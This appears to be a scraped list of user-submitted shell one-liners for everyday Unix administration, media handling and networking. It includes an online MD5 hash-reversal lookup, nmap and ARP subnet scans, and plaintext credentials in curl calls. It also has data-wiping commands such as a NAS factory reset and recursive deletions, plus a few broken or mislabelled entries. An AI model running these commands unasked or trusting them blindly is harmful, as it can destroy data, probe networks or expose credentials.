diff a.txt b.txt | grep -E '^(<|>)' | sed 's:^< \(.*\):<del style="color\:red; text-decoration\: none">- \1</del><br>:' | sed 's:^> \(.*\):<ins style="color\:green; text-decoration\: none">+ \1</ins><br>:'
Blackhole any level zones via dnsmasq
echo "address=/com/0.0.0.0" | sudo tee /etc/dnsmasq.d/dnsmasq-com-blackhole.conf && sudo systemctl restart dnsmasq
Add temporary <1m entries to old cron
for i in $( seq 0 5 55 ); do (crontab -l ; echo "* * * * * sleep $i; date >> ~/log.txt") | crontab -; done
Find out when your billion-second anniversary is (was). (on OS X)
date -j -v +1000000000S -f %m%d%Y mmddyyyy
Display IP adress of the given interface in a most portable and reliable way. That should works on many platforms.
x=IO::Interface::Simple; perl -e 'use '$x';' &>/dev/null || cpan -i "$x"; perl -e 'use '$x'; my $ip='$x'->new($ARGV[0]); print $ip->address,$/;' <INTERFACE>
For finding out if something is listening on a port and if so what the daemon is.
sockstat -4l
To get the CPU temperature continuously on the desktop
while sleep 1; do acpi -t | osd_cat -p bottom; done &
change microdvd subtitles framerate
cat subtitles.txt | perl -pe 's/} /}/g; s/{(\d+)}/=1=/; $f1=(24/25*$1); s/{(\d+)}/=2=/; $f2=(24/25*$1); $f1=~s/\..*//; $f2=~s/\..*//; s/=1=/{$f1}/; s/=2=/{$f2}/; ' > subtitles_newfps.txt
Displays the number of unread messages on your gmail at the top right corner of your terminal
while sleep 30; do tput sc;tput cup 0 $(($(tput cols)-15));echo -n " New Emails: $(curl -u username:password --silent https://mail.google.com/mail/feed/atom | grep 'fullcount' | grep -o '[0-9]\+')";tput rc; done &
Decrypt MD5
wget -qO - --post-data "data[Row][cripted]=1cb251ec0d568de6a929b520c4aed8d1" http://md5-decrypter.com/ | grep -A1 "Decrypted text" | tail -n1 | cut -d '"' -f3 | sed 's/>//g; s/<\/b//g'
yum -q list updates | tail -n+2
List upgrade-able packages on Redhat
Alert visually until any key is pressed
printf "\e[38;5;1m"; while true; do printf "\e[?5h A L E R T %s\n" "$(date)"; sleep 0.1; printf "\e[?5l"; read -r -s -n1 -t1 && printf "\e[39m" && break; done
find all files containing a pattern, open them using vi and place cursor to the first match, use 'n' and ':n' to navigate
find . -type f -exec grep -l pattern {} \; | xargs vi +/pattern
Find out when your billion-second anniversary is (was).
date -j -v +1000000000S -f %m%d%Y mmddYYYY
Get decimal ascii code from character
echo -n a | od -d | sed -n "s/^.* //gp"
Short Information about loaded kernel modules
lsmod | sed -e '1d' -e 's/\(\([^ ]*\) \)\{1\}.*/\2/' | xargs modinfo | sed -e '/^dep/s/$/\n/g' -e '/^file/b' -e '/^desc/b' -e '/^dep/b' -e d
Easily decode unix-time (funtion)
utime(){ date -d "1970-01-01 GMT $1 seconds"; }
find the biggest file in current folder
ls -S|head -1find
download a list of urls
cat urls.txt | wget -i- -T 10 -t 3 --waitretry 1
Function to create an alias on the fly
mkalias () { echo "alias $1=\"$2\"" >> ~\.bash_aliases }
sort a JSON blob
cat foo.json | python -mjson.tool
Get own public IP address
wget http://ipecho.net/plain -O - -q ; echo
find and reduce 8x parallel the size of PNG images without loosing quality via optipng
find /var/www/ -type f -name '*.[pP][nN][gG]' -print0 | xargs -L 1 -n 1 -P 8 -0 optipng -preserve -quiet -o7 -f4 -strip all
Generate a sequence of numbers.
for ((i=1; i<=99; ++i)); do echo $i; done
Watch YouTube and other Flash videos via mplayer (or whatever)
mplayer $(ls -t /tmp/Flash*|head -1)
txt2html
recode ..HTML < file.txt > file.html
bash/ksh function: given a file, cd to the directory it lives
function fcd () { [ -f $1 ] && { cd $(dirname $1); } || { cd $1 ; } pwd }
Search for a
find . -type f -exec grep -i <pattern> \;
rotate the compiz cube via command line
wmctrl -o 1280,0
dump a remote db via ssh and populate local db with postgres
ssh user@remoteserver "PGPASSWORD='passwd' pg_dump -U user bd_name | bzip2 -zv9" | bzcat | psql -U user bd_name
Create commands to download all of your Google docs
google docs list |awk 'BEGIN { FS = "," }; {print "\""$1"\""}'|sed s/^/google\ docs\ get\ /|awk ' {print $0,"."}'
Set OS X X11 to use installed Mathematica fonts
xset fp+ /Applications/Mathematica.app/SystemFiles/Fonts/Type1/
Text to image with transparent background
convert -background none -pointsize 55 label:"`whoami`" me.png
Print the current time on the whole screen, updated every second
while(true); do printf "%s\f" $(date +%T); sleep 1; done | sm -
remove accented chars
iconv -f utf8 -t ascii//TRANSLIT <output-file>
Print a list of all hardlinks in the working directory, recursively
find . -type f -a \! -links 1
Throttling Bandwidth On A Mac
sudo ipfw pipe 1 config bw 50KByte/s;sudo ipfw add 1 pipe 1 src-port 80
Access to specific man page section
man 5 crontab
Testing hard disk writing speed
time dd if=/dev/zero of=TEST bs=4k count=512000
Easily decode unix-time (funtion)
utime(){ python -c "import time; print(time.strftime('%a %b %d %H:%M:%S %Y', time.localtime($1)))"; }
Revert an SVN file to previous revision
svn diff -r M:N file.php | patch -p0
Text message on wallpaper
wallpaperWarn() { BG="/desktop/gnome/background/picture_filename"; convert "`gconftool-2 -g $BG`" -pointsize 70 -draw "gravity center fill red text 0,-360 'Warn' fill white text 0,360 'Warn'" /tmp/w.jpg; gconftool-2 --set $BG -t string "/tmp/w.jpg"; }
Get MD5 checksum from a pipe stream and do not alter it
cat somefile | tee >(openssl md5 > sum.md5) | bzip2 > somefile.bz2
Prints the latest modified files in a directory tree recursively
find . -name '*pdf*' -print0 | xargs -0 ls -lt | head -20
clear the X clipboard
xsel -bc
small CPU benchmark with PI, bc and time.
CPUBENCH() { local CPU="${1:-1}"; local SCALE="${2:-5000}"; { for LOOP in `seq 1 $CPU`; do { time echo "scale=${SCALE}; 4*a(1)" | bc -l -q | grep -v ^"[0-9]" & } ; done }; echo "Cores: $CPU"; echo "Digit: $SCALE" ;}
Find all file extension in current dir.
find . -type f | perl -ne 'print $1 if m/\.([^.\/]+)$/' | sort -u
Convert ascii string to hex
echo "text" | hd
Kill all Zombie processes if they accept it!
kill -9 `ps -xaw -o state -o pid | grep Z | grep -v PID | awk '{print $2}'`
Find Out My Linux Distribution Name and Version
cat /etc/issue
Get rid from a blank display without reboot
<Ctrl><Alt><F6> killall5
Writes ID3 tags using the file name as the title.
for x in *.mp3; do y=`echo $x | sed 's/...\(.*\)/\1/' | sed 's/.mp3//ig'`; id3v2 --TIT2 "$y" "$x"; done
Find Mac address
ip li | grep ether | awk '{print $2}'
pngcrush all .png files in the directory
ls *.png | while read line; do pngcrush -brute $line compressed/$line; done
Run a script in parrallel over ssh
pssh -h RemoteHosts.txt -P -I < ~/LocalScript.sh
Quick syntax highlighting with multiple output formats
$ python -m pygments -o source.html source.py
Clone /
find . -path ./mnt -prune -o -path ./lost+found -prune -o -path ./sys -prune -o -path ./proc -prune -o -print | cpio -pumd /destination && mkdir /destination/mnt/ && mkdir /destination/proc && mkdir /destination/sys
list with full path
ls -d1 $PWD/*
geoip information
curl -s ifconfig.me|tee >(xargs geoiplookup)
Automatically skip bad songs in your MPD playlist.
while :; do (mpc current | grep -i nickleback && mpc next); sleep 5; done
Reinstall a Synology NAS without loosing any data from commandline.
/usr/syno/sbin/./synodsdefault --reinstall
Generate a random password 30 characters long
openssl rand -rand /dev/urandom -base64 30
burn backed up xbox 360 games
growisofs -use-the-force-luke=dao -use-the-force-luke=break:1913760 -dvd-compat -speed=2 -Z /dev/cdrom=XBOX360GAMEHERE.iso
Delete more than one month old thumbnails from home directory
find ~/.thumbnails/ -type f -atime +30 -print0 | xargs -0 rm
bash function to check for something every 5 seconds
function checkfor () { while :; do $*; sleep 5; done; }
Get decimal ascii code from character
ord() { printf "%d\n" "'$1"; }
Find all videos under current directory
find ./ -type f -print0 | xargs -0 file -iNf - | grep video | cut -d: -f1
watch snapshots commit in VMware ESX
watch 'ls -tough --full-time *.vmdk'
Geolocate a given IP address
geoip() { lynx -dump "http://api.hostip.info/get_html.php?ip=$1&position=true"; }
Show directories in the PATH, one per line
echo -e ${PATH//:/\\n}
Emergency Alien Invasion Warning
while true; do xset dpms force off; sleep 0.3; xset dpms force on; xset s reset; sleep 0.3; done
yes > /dev/null
uses all cpu cycles for one core. good for testing your cpu or just warming yourself up
Adjust all EXIF timestamps in .mov by +1 hour
exiftool -AllDates+=1 -{Track,Media}{Create,Modify}Date+=1 *.mov
Completely wipe all data on your Synology NAS and reinstall DSM. (BE CAREFUL)
/usr/syno/sbin/./synodsdefault --factory-default
Show your current network interface in use
ip r show default | awk '{print $5}'
tar pipe to copy files, alternate to cp -Ra
(cd /orignl/path tar -cf - . ) | (cd /dst/dir;tar -xvf -)
Gentoo: Get the size of all installed packets, sorted
equery s | sed 's/(\|)/ /g' | sort -n -k 9 | gawk '{print $1" "$9/1048576"m"}'
Add to Instapaper
instapaper-add(){ curl -s -d username="$1" -d password="$2" -d url="$3" https://www.instapaper.com/api/add; }
Compare copies of a file with md5
diff <(md5sum render_pack.zip| cut -d " " -f 1) <(md5sum /media/green/render_pack.zip| cut -d " " -f 1);echo $?
Generate an XKCD #936 style 4 word passphrase (fast)
echo $(grep "^[^'A-Z]\{3,7\}$" /usr/share/dict/words|shuf -n4)
Cleanup a (source) text file, removing trailing spaces/tabs and multiple consecutive blank lines
sed -i -e 's/[ \t]*$//;/^$/N;/\n$/D' sourcefiletocleanup
Force GNU/Linux keyboard settings, layout and configuration
sudo dpkg-reconfigure keyboard-configuration
Suspend to ram
pmi action suspend
Monitor iptables in realtime
watch -n1 iptables -vnL
Password generator
printf '%s-%s-%s-%s\n' $(grep -v "[A-Z]\|'" /usr/share/dict/british | shuf -n 4)
Generate binary sequence data
printf "%x\n" $(seq 0 255) | xargs -n1 -IH echo -ne \\xH > test.dat
Doing some floating point calculations with rounding (e.g. at the 3rd decimal)
echo '123/7' |bc -l |xargs printf "%.3f\n"
Open Vim with two windows
vim -c new myfile
recursive transform all contents of files to lowercase
find . -type f -print0 | xargs -0 perl -pi.save -e 'tr/A-Z/a-z/'
Random IPv4 address
perl -e 'printf join(".", ("%d")x4 ), map {rand 256} 1..4;'
List all Samba user name
pdbedit -w -L | awk -F":" '{print $1}'
find files in a date range
touch -t 201001010000 begin; touch -t 201012312359.59 end; find . -newer begin -a ! -newer end
Copy files from multiple directories into one directory
find <start directory> -iname "<all my files type>" -exec cp {} <target_dir> \;
Print entire field if string is detected in column
awk '{ if ($column == "string") print}' file.txt
shell function which allows you to tag files by creating symbolic links directories in a 'tags' folder.
tag() { local t="$HOME/tags/$1"; [ -d $t ] || mkdir -p $t; shift; local i; for i in $*; do ln -s $(readlink -f $i) $t;done}
Display IP : Count of failed login attempts
sudo lastb | awk '{if ($3 ~ /([[:digit:]]{1,3}\.){3}[[:digit:]]{1,3}/)a[$3] = a[$3]+1} END {for (i in a){print i " : " a[i]}}' | sort -nk 3
suspend to ram without root
dbus-send --system --print-reply --dest="org.freedesktop.UPower" /org/freedesktop/UPower org.freedesktop.UPower.Suspend
Generate password
tr -dc 'A-Za-z0-9!@#$%^&*' < /dev/urandom | fold -w 12 | head -n 1
Calculate your total world compile time. (Gentoo Distros)
qlist -I | xargs qlop -t | awk '{ if ($2 < 5400) secs += $2} END { printf("%dh:%dm:%ds\n", secs / 3600, (secs % 3600) / 60, secs % 60); }'
Generate a random password 30 characters long
tr -c -d "a-zA-Z0-9" </dev/urandom | dd bs=30 count=1 2>/dev/null;echo
Show the last 20 sessions logged on the machine
last -n 20
Watching Command
watch 'cat /proc/loadavg'
monitor system load
tload -s 10
Get length of current playlist in xmms2
xmms2 list | sed -n -e '1i\0' -e 's/^.*(\([0-9]*\):\([0-9]*\))$/\1 60*\2++/gp' -e '$a\60op' | dc | sed -e 's/^ *//' -e 's/ /:/g'
Add all unversioned files to svn
svn st | awk '{if ($1 ~ "?") print $2}' | xargs svn add
find file/dir by excluding some unwanted dirs and filesystems
find . -xdev -path ./junk_dir -prune -o -type d -name "dir_name" -a -print
Automatically connect to a host with ssh once it is online
var=host ;while ! nc -zw 1 $var 22;do sleep 1; done ; ssh user@$var
Get your current Public IP
curl ifconfig.me
hibernate
sudo pm-hibernate
directory size with subdirectories, sorted list
du -m --max-depth=1 [DIR] | sort -nr
Update all outdated Python packages through pip.
pip list --outdated --format=freeze | grep -o "[[:alnum:][:punct:]]\{,\}==" | sed 's#==$##g' | xargs -I '{}' pip install {} --upgrade
Print compile time in seconds package by package (Gentoo Distros)
qlist -I | xargs qlop -t |sort -t" " -rnk2
Mount a windows partition in a dual boot linux installation with write permission…[Read and Write]
mount -o -t ntfs-3g /dev/sda1 /mnt/windows/c force
Resolve a list of domain names to IP addresses
awk < file.name '{ system("resolveip -s " $1) }'
Battery real life energy vs predicted remaining plotted
echo start > battery.txt; watch -n 60 'date >> battery.txt ; acpi -b >> battery.txt'
Encoding from AVI to MPEG format
mencoder input.avi -of mpeg -ovc lavc -lavcopts vcodec=mpeg1video \ -oac copy other_options -o output.mpg
Watch the progress of 'dd'
dcfldd if=/dev/zero of=/dev/null
Find the location of the currently loaded php.ini file
php --ini
nmap port scanning
nmap -v -sT 192.168.0.0/24
pdfcount: get number of pages in a PDF file
pdfinfo file.pdf | grep "^Pages: *[0-9]\+$" | sed 's/.* //'
My PS1
declare -x PS1="[\[\e[01;35m\]\u\[\e[00m\]@\[\e[01;31m\]\h\[\e[00m\]](\j):\[\e[01;36m\]\w\n\\$ \[\e[00m\]"
Put uppercase letters in curly brackets in a BibTeX database
sed '/^\s*[^@%]/s=\([A-Z][A-Z]*\)\([^}A-Z]\|},$\)={\1}\2=g' literature.bib > output.bib
speedtest
wget --output-document=/dev/null http://speedtest.wdc01.softlayer.com/downloads/test500.zip
Get HTTP status code with curl AND print response on new line
curl -s -o /dev/null -w "%{http_code}\n" localhost
Retrofit a shebang to an existing script
shebang () { printf '%s\n' 0a '#!'"$1" . w | ed -s "$2" ; }
simplest calculator
echo $[321*4]
Testing reading speed with dd
sync; time `dd if=/dev/cciss/c0d1p1 of=/dev/null bs=1M count=10240`
Mostly silent FLAC checking (only errors are displayed)
flac -ts *.flac
Random IPv4 address
perl -le '$,=".";print map int rand 256,1..4'
Generate RSA private key and self-signed certificate
touch pk.pem && chmod 600 pk.pem && openssl genrsa -out pk.pem 2048 && openssl req -new -batch -key pk.pem | openssl x509 -req -days 365 -signkey pk.pem -out cert.pem
Create a false directory structure for testing your commands
for each in /usr/bin/*; do echo $each | sed 's/\/usr\/bin\///' | xargs touch; done
how to find the active X (X11/xorg) username and DISPLAY variable
ck-list-sessions
Create a PNG screenshot of Rigol Ultravision scopes attached per LAN
echo "display:data?" | nc "$scope_ip_address" 5555 | dd bs=1 skip=11 2>/dev/null | convert bmp:- out_file.png
List all global top level modles, then remove ALL npm packages with xargs
npm ls -gp --depth=0 | awk -F/ '/node_modules/ && !/\/npm$/ {print $NF}' | xargs npm -g rm; npm -g uninstall npm
easy C shell math calculators
alias calc 'echo "scale=4;\!*"|bc -l'; alias xcalc 'echo "\!*"|bc -l'
Make a statistic about the lines of code
find . -type f -name "*.c" -exec cat {} \; | wc -l
postgresql SQL to show count of ALL tables (relations) including relation-size
SELECT relname, reltuples, pg_relation_size(relname) FROM pg_class r JOIN pg_namespace n ON (relnamespace = n.oid) WHERE relkind = 'r' AND n.nspname = 'public' ORDER BY relname;
Gets the english pronunciation of a phrase
say() { local IFS=+;mplayer "http://translate.google.com/translate_tts?q=$*"; }
Switch to rc-proposed channel on Ubuntu Phone - Nexus 4
sudo system-image-cli --switch ubuntu-touch/rc-proposed/ubuntu --build 0
Show allocated disk space:
df -klP -t xfs -t ext2 -t ext3 -t ext4 -t reiserfs | grep -oE ' [0-9]{1,}( +[0-9]{1,})+' | awk '{sum_used += $1} END {printf "%.0f GB\n", sum_used/1024/1024}'
colorize sequences of digits
echo abcd89efghij340.20kl|grep --color -e "[0-9]\+" -e "$"
encode image to base64 and copy to clipboard
uuencode -m $1 /dev/stdout | sed '1d' | sed '$d' | tr -d '\n' | xclip -selection clipboard
Display a random man page
man $(ls /bin | shuf | head -1)
tar via network
tar cfX - exclude_opt_weblogic . | ssh tmp-esxsb044 "cd /opt/weblogic ; tar xf -"
Find and copy files from subdirectories to the current directory
find ./ -iname '*avi' -exec cp {} ./ \;
Read all the S.M.A.R.T. data from a hard disk drive
smartctl --attributes /dev/sda
run complex remote shell cmds over ssh, without escaping quotes
echo "properly_escaped_command" | ssh user@host $(< /dev/fd/0)
Get the /dev/disk/by-id fragment for a physical drive
ls -l /dev/disk/by-id/ | grep '/sda$' | grep -o 'ata[^ ]*'
List your largest installed packages (on Debian/Ubuntu)
dpkg-query --show --showformat='${Package;-50}\t${Installed-Size}\n' `aptitude --display-format '%p' search '?installed!?automatic'` | sort -k 2 -n | grep -v deinstall | awk '{printf "%.3f MB \t %s\n", $2/(1024), $1}'
Find files and calculate size of result in shell
find . -name "pattern" -exec stat -c%s {} \; | awk '{total += $1} END {print total}'
Live stream a remote audio device over ssh using only ffmpeg
ssh user@host ffmpeg -f alsa -ac 1 -i plughw:0,0 -f ogg - \ | mplayer - -idle -demuxer ogg
Auto-log commands
alias m='screen -S $$ -m script'
Show used disk space:
df -klP -t xfs -t ext2 -t ext3 -t ext4 -t reiserfs | grep -oE ' [0-9]{1,}( +[0-9]{1,})+' | awk '{sum_used += $2} END {printf "%.0f GB\n", sum_used/1024/1024}'
draw line separator (using knoppix5 idea)
seq -s '*' 40 | tr -dc '[*\n]'
Print all git repos from a user
curl -s "https://api.github.com/users/<username>/repos?per_page=1000" | jq '.[].git_url'
rename a file to its md5sum
md5sum * | sed 's/^\(\w*\)\s*\(.*\)/\2 \1/' | while read LINE; do mv $LINE; done
Copy recursivelly files of specific filetypes
rsync -rvtW --progress --include='*.wmv' --include='*.mpg' --exclude='*.*' <sourcedir> <destdir>
finding cr-lf files aka dos files with ^M characters
find . -type f -exec fgrep -l $'\r' "{}" \;
Extract icons from windows exe/dll
wrestool -x --output . -t14 /path/to/your-file.exe
Change timestamp on a file
touch -amct [[CC]YY]MMDDhhmm[.ss] FILE
perl insert character on the first line on your file
perl -i~ -0777pe's/^/\!\#\/usr\/bin\/ksh\n/' testing
Use tagged vlans
sudo vconfig add eth0 [VID]
revert a committed change in SVN
svn merge -c -REV
ignore .DS_Store forever in GIT
echo .DS_Store >> ~/.gitignore
Create a tar of directory structure only
find . -type d|xargs tar rf ~/dirstructure.tar --no-recursion
return a titlecased version of the string
title() { string=( $@ ); echo ${string[@]^} }
Get the IP address
ifconfig | sed -n 's/.*inet addr:\([0-9.]\+\)\s.*/\1/p'
Formatted list - WWNs of all LUNs
for i in /sys/block/sd* ; do wwn=`/lib/udev/scsi_id -g -s /block/${i##*/}` ; [ "$wwn" != "" ] && echo -e ${i##*/}'\t'$wwn ;done
blktrace - generate traces of the i/o traffic on block devices
sudo blktrace -d /dev/sda -o - | blkparse -i -
count the appearance of a word or a string in a given webpage
wget -q -O- PAGE_URL | grep -o 'WORD_OR_STRING' | wc -w
badblocks for floppy
/sbin/badblocks -v /dev/fd0 1440
show last revision log on svn update
svn up | sed 's/\.//g' | cut -d ' ' -f3 | xargs svn log -r
dhcdrop - testing/suppression/tracking false DHCP servers
sudo dhcdrop -i eth1 -y -l 00:11:22:33:44:55
Make some powerful pink noise
play -c 2 -n synth pinknoise band -n 2500 4000 tremolo 0.03 5 reverb 20 gain -l
6
List your MACs address
ip li | grep ff
List all symbolic links in current directory
find /was61 -type l
Open an image in feh, automatically scaling it to its window's size
feh --scale-down --auto-zoom
Clear current session history (bash)
history -r
Kill google chrome process
kill $(ps x | grep '\/chrome *.* --type=renderer ' | awk '{print $1}')
guess the filetype for a file
file file.txt
Automatically choose the right extraction method for a compressed file
extract() {if [ -f $1 ];then case $1 in *.tar.bz2) tar xvjf $1;;*.tar.gz) tar xvzf $1;;*.bz2) bunzip2 $1;;*.rar) unrar x $1;;*.gz) gunzip $1;;*.tar) tar xvf $1;;*.tbz2) tar xvjf $1;;*.tgz) tar xvzf $1;;*.zip) unzip $1;;*.7z) 7z x $1;;esac fi}
Get the current svn branch/tag (Good for PS1/PROMPT_COMMAND cases)
svn info | grep ^URL | awk 'BEGIN {FS="\/"}; {if($(NF-1)=="branches") {print $NF} else if($NF=="trunk") {print $(NF-1)} else {print $NF} } '
Compress archive(s) or directory(ies) and split the output file
rar a -m5 -v5M -R myarchive.rar /home/
Limit the rate of traffic to a particular address with tc.
tc qdisc add dev <dev> root handle 1: cbq avpkt 1000 bandwidth 100mbit;tc class add dev <dev> parent 1: classid 1:1 cbq rate 300kbit allot 1500 prio 5 bounded isolated;tc filter add dev <dev> parent 1: protocol ip prio 16 u32 match ip dst <ip> flowid 1:1
How To Get the Apache Document Root
awk '$1~/^DocumentRoot/{print $2}' /etc/apache2/sites-available/default
Countdown Clock
MIN=10 && for i in $(seq $(($MIN*60)) -1 1); do printf "\r%02d:%02d:%02d" $((i/3600)) $(( (i/60)%60)) $((i%60)); sleep 1; done
Set keyboard layout in X
setxkbmap it
Show seconds since modified of newest modified file in directory
FILE=`ls -ltr /var/lib/pgsql/backups/daily/ | tail -n1 | awk '{print $NF}'`; TIME=`stat -c %Y /var/lib/pgsql/backups/daily/$FILE`; NOW=`date +%s`; echo $((NOW-TIME))
List of countries
curl -s http://www.infoplease.com/countries.html | grep "<td" | grep ipa | sed -e 's#html">#\n#g' | cut -f 1 -d\< | grep -v "^\ \ *$"
Purge configuration file of all desinstalled package
aptitude purge ~c
check to see what is running on a specific port number
lsof -iTCP:8080 -sTCP:LISTEN
Edit Ruby files within the current directory to use Ruby 1.9+ style symbol keys instead of rockets
sed -i "s/:\([a-zA-Z_]*\) =>/\1:/g" **/*.rb
Checkout all modified files with spaces with git
git ls-files --modified -z | xargs -0 git checkout HEAD
SSH socket
ssh -D localhost:8090 username@serve.com -f -N
Generate a sequence of numbers.
echo {1..12}
Automagically create a /etc/hosts file based on your DHCP list (only works on Linksys WRT54G router)
curl -s -u $username:$password http://192.168.1.1/DHCPTable.htm | grep '<td>.* </td>' | sed 's|\t<td>\(.*\) </td>\r|\1|' | tr '\n' ';' | sed 's/\([^;]*\);\([^;]*\);/\2\t\1\n/g'
sorted list of dhcp allocations
grep ^lease /var/lib/dhcp/dhcpd.leases | cut -d ' ' -f 2 | sort -t . -k 1,1n -k 2,2n -k 3,3n -k 4,4n | uniq
Stream and save Youtube video
wget `youtube-dl -g 'http://www.youtube.com/watch?v=-S3O9qi2E2U'` -O - | tee -a parachute-ending.flv | mplayer -cache 8192 -
Binary clock
for a in $(date +"%H%M"|cut -b1,2,3,4 --output-delimiter=" ");do case "$a" in 0)echo "....";;1)echo "...*";;2)echo "..*.";;3)echo "..**";;4)echo ".*..";;5)echo ".*.*";;6)echo ".**.";;7)echo ".***";;8)echo "*...";;9)echo "*..*";;esac;done
Show seconds since modified of newest modified file in directory
ls -atr /home/reports/*.csv -o --time-sty=+%s | tail -1 | awk '{print systime()-$5}'
Remove old kernels and header data in Ubuntu/Debian
sudo apt-get -y purge $(dpkg --get-selections | awk '((/^linux-/) && (/[0-9]\./) && (!/'"`uname -r | sed "s/-generic//g"`"'/)) {print $1}')
bash regex match
[[ $string =~ regex ]]; : for example; [[ $string =~ --.+ ]]
Split tsv file by fifth column … or any column
awk -F'\t' '{print $0 >>$5.tsv}'
get current git branch
git rev-parse --symbolic-full-name --abbrev-ref HEAD
Purge configuration file of all desinstalled package
aptitude purge ~c
Chrome sucks
ps -o rss= -C Chrome | (x=0; while read rss; do ((x+=$rss)); done; echo $((x/1024)))
bash: display disks by id, UUID and HW path
blkid
scrot screenshot without window appearing
scrot '%Y-%m-%d_$wx$h_scrot.png'
change file permission modes (octal notation)
chmod 644 /path/to/file
DHCP for *NIX
ifconfig eth0 0.0.0.0 0.0.0.0 && dhclient eth dhcp
From all PDF files in all subdirectories, extract two metadata fields (here: Creator and Producer) into a CSV table
echo "File;Creator;Producer";find . -name '*.pdf' -print0 | while IFS= read -d $'\0' line;do echo -n "$line;";pdfinfo "$line"|perl -ne 'if(/^(Creator|Producer):\s*(.*)$/){print"$2";if ($1 eq "Producer"){exit}else{print";"}}';echo;done 2>/dev/null
Know your distro
lsb-release -a
How many world writeable files on your system? (Mandriva Linux msec)
wc -l /var/log/security/writable.today
umount sshfs mounted directory
fusermount -u ~/sshfs_mounted_directory
Title Case Files
rename 's/(^|[\s\(\)\[\]_-])([a-z])/$1\u$2/g' *
Open multiple tabs in Firefox from a file containing urls
for /F %i in (url_list.txt) do Firefox.exe -new-tab "%i"
Get the IP address
hostname -I
top with progame name
function ptop(){ `ps -ef | grep $* | awk 'BEGIN{printf "top "}{printf "-p" $2 " " }'` }
Installs lamp on Ubuntu
sudo apt-get install lamp-server^ phpmyadmin
Dell OMSA version check function
function dellomsaver { snmpwalk -v2c -cmycommunityname $1 1.3.6.1.4.1.674.10892.1.100.2.0; }
Find a process by name and automatically kill it
PID=$(ps -ef | grep processName | grep -v grep | awk '{print $2'}); kill -9 $PID
Use top to monitor only all processes with the same name fragment 'foo'
top -p $(pgrep -f -d , foo)
shows major directories in ascending order
du . | sort -n
List movie size in current directory
find . -regex '\(.*mp4\|.*mpg\|.*mpeg\|.*mov\|.*wmv\|.*mkv\|.*avi\)' -exec exiftool -directory -fileName -imageSize {} \;
In URL converts %XX to chars
read -p "> " URL; echo -e "> `echo $URL | sed 's|%|\\\\x|g'`"
Convert MP3s & an image to MP4 videos using ffmpeg
for name in *.mp3; do ffmpeg -loop 1 -i imagename.jpg -i "$name" -shortest -c:v libx264 -preset ultrafast -c:a copy "${name%.*}.mp4"; done
Title Case Files
rename 's/\b([a-z])/\u$1/g' *
decompiler for jar files using jad
unjar () { mkdir -p /tmp/unjar/$1 ; unzip -d /tmp/unjar/$1 $1 *class 1>/dev/null && find /tmp/unjar/$1 -name *class -type f | xargs jad -ff -nl -nonlb -o -p -pi99 -space -stat ; rm -r /tmp/unjar/$1 ; }
print all paragraphs containing string
cat file1 file2| sed -e /^$/d -e /paragraph delimiter/G | sed -e '/./{H;$!d;}' -e 'x;/'."string to search".'/!d;''
print all characters of any file in human readble form using hexdump
hexdump -c <file>
Find removed files still in use via /proc
ls -l /proc/*/fd/* | grep 'deleted'| grep "\/proc.*\file-name-part"
Extract all IPs from a file
grep -E '([0-9]{1,3})\.([0-9]{1,3})\.([0-9]{1,3})\.([0-9]{1,3})' -o tmp
Monitoring file change while a copy
watch "ls -al myfile"
Install build dependencies for a given package
sudo apt-get build-dep rhythmbox
Search for string through files
grep -Rl "pattern" files_or_dir
Query VirusTotal Hash DB using a Public APIKEY
cat h.txt| while read line; do curl -s -X POST 'https://www.virustotal.com/vtapi/v2/file/report' --form apikey="APIKEY" --form resource="$line"|awk -F'positives\":' '{print "VTHits"$2}'|awk -F' ' '{print $1" "$2$5$6}'|sed 's/["}]//g' && sleep 15; done
Find a process by name and automatically kill it
pkill -f process_name
Fix timestamps for emails in the current directory
for f in `ls *.eml`; do touch -d "`grep Date: $f | head -n 1 | sed 's/.*, \(.*\) +.*/\1/'`" $f; done
Merge two non-consecutive lines of a file with sed and bash
$ sed "2s/$/ $(sed -n '4p' sound.desktop)/" sound.desktop
Move lots files with AWK
find . -maxdepth 1 -type f | awk 'BEGIN { c=0 } { if( c == <quantity_at_a_time> ) { print l; l=$0; c=1 } else { if( l != "") { l=l" "$0 } else { l=$0 }; c++}} END { print l }' | xargs mv -t <dir_dest>
A good way to write to SDCard
dd if=<image> of=/dev/sdx bs=4M iflag=direct,fullblock oflag=direct status=progress
extract column from csv file
cut -d"," -f9
create SQL-statements from textfile with awk
for each in `cut -d " " -f 1 inputfile.txt`; do echo "select * from table where id = \"$each\";"; done
download with checksum
wget -qO - http://www.google.com | tee >(md5sum) > /tmp/index.html
uncomment the lines where the word DEBUG is found
sed 's/^#\(.*DEBUG\)/\1/' $FILE
vim read stdin
ls | view -
pad file names with zeros so that files sort easily
zeros=3; from=1; to=15; for foo in $(seq $from $to); do echo mv "front${foo}back" "front$(printf "%0${zeros}d\n" $foo)back"; done
Show and update a log file
tail -F logfile
move up through directories faster (set in your /etc/profile or .bash_profile)
function up { i=$1; while [ $((i--)) -gt 0 ]; do cd ../ && pwd; done }
Chrome sucks
ps -A -o rss,command | grep [C]hrome | awk '{sum+=$1} END {printf("%sMB\n",sum/1024)}'
Generate an XKCD #936 style 4 word password
shuf -n4 /usr/share/dict/words | tr '\n' ' '
List all symbolic links in the current directory
ls -l `find . -maxdepth 1 -type l -print`
Reset the last modified time for each file in a git repo to its last commit time
git ls-files | while read file; do echo $file; touch -t $(date -jf "%s" $(git log --date=local -1 --format="@%ct" "$file" | cut -b 2-) +%Y%m%d%H%M) "$file"; done
use a command's output as arguments for another
first_command | xargs other_command
enable all bash completions in gentoo
eselect bashcomp enable --global $(eselect bashcomp list | tail -n +2 | awk '{print $2}' |xargs)
Toggle MPD speaker output
read -r -a MOUT <<< `mpc outputs | grep Local`; if [ ${MOUT[-1]} == "disabled" ]; then mpc enable ${MOUT[1]} 2&>1 > /dev/null; else mpc disable ${MOUT[1]} 2&>1 > /dev/null; fi
remove files that were modified 30 days ago
find . -mtime +30 -type f -exec rm -rf {} \;
Remove all docker images to cleanup disk
docker rmi `docker images -a -q`
shuffle lines via perl
seq 1 9 | perl -MList::Util=shuffle -e 'print shuffle <>;'
search the pattern from bzip2'ed file
bzgrep -i "pattern" pattern.bz2
Convert man page to PDF
man -Tps ls >> ls_manpage.ps && ps2pdf ls_manpage.ps
Count repeated lines, listing them in descending order of frequency
LC_ALL=C sort file | uniq -c | sort -n -k1 -r
Legacy MacOS to Unix text convert using perl
perl -i -pe 's/\r/\n/g' file
ARP Scan
if [ -x /sbin/arping ] ; then for i in {1..255} ; do echo arping 10.1.1.$i ; arping -c 1 10.1.1.$i | grep reply ; done ; fi
Batch resize image to exact given resolution ignoring aspect ratio
